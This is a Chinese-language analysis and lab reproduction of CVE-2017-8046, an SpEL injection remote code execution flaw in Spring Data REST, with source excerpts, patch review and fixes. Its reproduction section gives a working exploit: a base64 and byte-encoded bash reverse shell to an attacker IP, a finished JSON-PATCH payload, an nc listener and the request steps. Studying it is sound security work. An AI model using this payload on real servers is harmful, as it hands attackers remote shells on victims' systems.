CVE-2017-8046 漏洞深度分析
漏洞概述
CVE-2017-8046 是 Spring Data REST 框架中的一个高危远程代码执行漏洞,影响版本包括 Spring Data REST < 2.5.12、2.6.7、3.0 RC3 及关联的 Spring Boot 和 Spring Data 旧版本。攻击者通过构造包含恶意 SpEL(Spring Expression Language)表达式的 PATCH 请求,绕过路径校验逻辑,触发远程代码执行。该漏洞的核心问题在于 Spring Data REST 对 path
参数的 SpEL 解析未做充分安全校验。
技术细节分析
1. 漏洞成因
- SpEL 表达式注入:
Spring Data REST 在处理 JSON-PATCH 请求时,将用户输入的path
参数直接转换为 SpEL 表达式,未对输入内容进行安全过滤。攻击者可构造恶意path
参数(如T(java.lang.Runtime).exec(...)
),触发任意代码执行。 - 路径处理逻辑缺陷:
PatchOperation
类的pathToSpEL
方法将路径按/
分割后拼接为 SpEL 表达式,例如/admin/price
转换为admin.price
,但未验证路径合法性,导致攻击者可注入非法的表达式结构。
2. 源码分析
关键代码 1:PATCH 请求处理入口(JsonPatchHandler.java)
public <T> T apply(IncomingRequest request, T target) throws Exception {if (request.isJsonPatchRequest()) {return applyPatch(request.getBody(), target); // 处理 JSON-PATCH 请求} else {return applyMergePatch(request.getBody(), target);}
}
问题点:
- 请求头
Content-Type: application/json-patch+json
触发applyPatch
分支。 request.getBody()
直接读取未经验证的请求体内容。
关键代码 2:路径转换逻辑(PatchOperation.java)
public PatchOperation(String op, String path, Object value) {this.path = path;this.spelExpression = pathToExpression(path); // 将 path 转换为 SpEL 表达式
}private static String pathToSpEL(String path) {return pathNodesToSpEL(path.split("\\/")); // 按 "/" 分割路径
}
问题点:
- 分割后的路径片段通过
.
拼接为 SpEL 表达式(如path="/T(Runtime).exec"
转换为T(Runtime).exec
),未校验片段合法性。
关键代码 3:SpEL 表达式执行(ReplaceOperation.java)
protected void setValueOnTarget(Object target, Object value) {spelExpression.setValue(target, value); // 执行 SpEL 表达式
}
漏洞触发点:
- 当
path
包含恶意表达式(如T(java.lang.Runtime).exec("calc")
)时,spelExpression.setValue
触发代码执行。
3. 补丁分析
官方修复通过 verifyPath
方法验证路径合法性,防止非法表达式注入:
protected Optional<PropertyPath> verifyPath(Class<?> type) {String pathSource = Arrays.stream(path.split("/")).filter(it -> !it.matches("\\d")) // 过滤数字.filter(it -> !it.equals("-")) // 过滤特殊符号.collect(Collectors.joining("."));return Optional.of(PropertyPath.from(pathSource, type)); // 反射验证路径存在性
}
修复效果:
- 非法的路径(如包含类方法调用的
T(Runtime).exec
)因无法通过反射校验而抛出异常。
漏洞复现
1.环境搭建
-
使用 Vulhub 环境启动漏洞靶机:
cd vulhub/spring/CVE-2017-8046 docker-compose up -d
-
访问
http://target:8080/customers/1
,确认服务正常运行。
2.攻击步骤(反弹shell)
- 制作payload(靶机ip:192.168.1.100;攻击机ip:192.168.1.102)
bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
base64编码
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}其中YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==为 bash -i >& /dev/tcp/192.168.1.102/6666 0>&1 base64编码
ASCII编码
bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTI4LzY2NjYgMD4mMQo=}|{base64,-d}|{bash,-i}
用记事本去掉;&#
98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,65,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125
构造最后payload
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,117,77,84,65,121,76,122,89,50,78,106,89,103,77,68,52,109,77,81,61,61,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname", "value": "vulhub" }]
- 攻击机开启监听
nc -lvvp 6666
- 注入payload
bp抓取访问/customers/1
的数据包
将GET
修改为PATCH
,添加 Content-Type: application/json-patch+json
字段,将payload
添加到最后一行。
- 反弹shsll成功
修复方案
1. 升级版本:
升级至 Spring Data REST 2.5.12+、2.6.7+、3.0 RC3+,修复路径校验逻辑。
2. 输入过滤:
对用户输入的 path
参数进行正则匹配,禁止包含 T(...)
等 SpEL 关键字。
3. 禁用高风险功能:
若非必要,禁用 JSON-PATCH 方法或限制其使用范围。
总结
CVE-2017-8046 暴露了 Spring Data REST 在路径解析与 SpEL 表达式处理上的设计缺陷。其修复方案通过反射验证路径合法性,但开发者仍需警惕用户输入的直接解析场景,避免类似漏洞。实际开发中,应遵循最小化输入信任原则,结合框架升级与自定义校验机制,确保系统安全。
参考链接
- CVE-2017-8046 官方公告
- 漏洞复现与 PoC 构造
- 补丁代码分析
- Spring Data REST 远程代码执行漏洞(CVE-2017-8046)分析与复现6
- CVE-2017-8046 Spring Data Rest 远程命令执行漏洞